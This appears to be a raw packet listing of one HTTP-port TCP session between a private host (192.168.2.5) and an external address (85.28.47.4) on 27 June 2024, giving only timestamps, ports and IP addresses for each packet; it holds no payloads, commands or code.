Jun 27, 2024 19:26:01.699968100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699971914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699990034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.699992895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.699992895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700005054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700012922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700021982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700036049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700037956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700056076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700056076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700078964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700702906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700719118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700735092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700750113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700756073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700757027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700767040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700778008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700786114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700795889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700803041 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700819969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700822115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700838089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700854063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700859070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700859070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700859070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700870991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700887918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700892925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700892925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700903893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.700913906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700937986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.700937986 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.783196926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.783226967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.783242941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.783257008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.783312082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.783312082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.783371925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.783387899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.783404112 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.783421040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.783436060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.783463001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.783658028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.783680916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.783696890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.783713102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.783713102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.783730984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.783740997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.783740997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.783760071 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.783778906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.783945084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.783967018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784008980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784008980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784095049 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784110069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784133911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784147978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784149885 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784166098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784174919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784174919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784193039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784215927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784219027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784219980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784239054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784259081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784432888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784450054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784531116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784578085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784595013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784615993 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784627914 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784631968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784648895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784651041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784663916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784677982 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784679890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784678936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784678936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784697056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784706116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784713984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784724951 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784729958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784745932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784748077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.784745932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784771919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.784790993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.785351992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785367966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785382032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785394907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785408020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.785409927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785425901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785429955 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.785442114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785456896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.785459042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785456896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.785475969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785491943 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785499096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.785499096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.785499096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.785509109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785523891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.785526037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785542011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785547018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.785547018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.785569906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785572052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.785587072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785590887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.785604000 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.785614014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.785634041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.785653114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786237955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786254883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786267996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786283016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786293983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786299944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786317110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786319017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786334991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786336899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786350965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786356926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786366940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786376953 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786377907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786384106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786400080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786407948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786407948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786417007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786439896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786448956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786448956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786456108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786473036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786482096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786489964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786499977 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786509037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786520958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786525011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.786545992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786545992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.786566019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787170887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787187099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787200928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787223101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787225008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787237883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787254095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787254095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787256002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787272930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787272930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787291050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787296057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787296057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787307024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787321091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787323952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787339926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787347078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787347078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787357092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787367105 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787374020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787390947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787391901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787393093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787405968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787411928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787424088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.787431002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787450075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.787547112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788108110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788122892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788137913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788152933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788167000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788167953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788167000 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788184881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788193941 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788194895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788201094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788214922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788218021 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788235903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788240910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788240910 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788253069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788264990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788264990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788269997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788285971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788297892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788302898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788317919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788321972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788336992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788345098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788345098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788352966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.788369894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788371086 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.788389921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789026022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789041996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789056063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789072037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789082050 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789088964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789103985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789113998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789124012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789130926 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789145947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789161921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789166927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789166927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789166927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789176941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789192915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789192915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789192915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789208889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789218903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789225101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789239883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789243937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789244890 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789257050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789264917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789273977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789292097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789292097 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789310932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789828062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789844990 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789859056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789884090 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.789886951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.789906025 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.790107965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.871588945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.871640921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.871656895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.871666908 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.871716022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.871716022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.871757030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.871782064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.871834040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.871891022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.871906996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.871921062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.871942043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.871957064 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.871958971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.871985912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.871985912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872023106 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872138023 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872221947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872250080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872266054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872281075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872314930 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872349024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872462988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872478008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872502089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872518063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872533083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872535944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872536898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872536898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872550011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872569084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872569084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872589111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872852087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872881889 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872898102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872905016 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872912884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872929096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872931004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872931004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872945070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872953892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872962952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872968912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872980118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.872988939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.872997999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873013973 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873014927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873014927 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873037100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873038054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873051882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873053074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873070002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.873086929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.873111963 CEST	49705	80	192.168.2.5	85.28.47.4
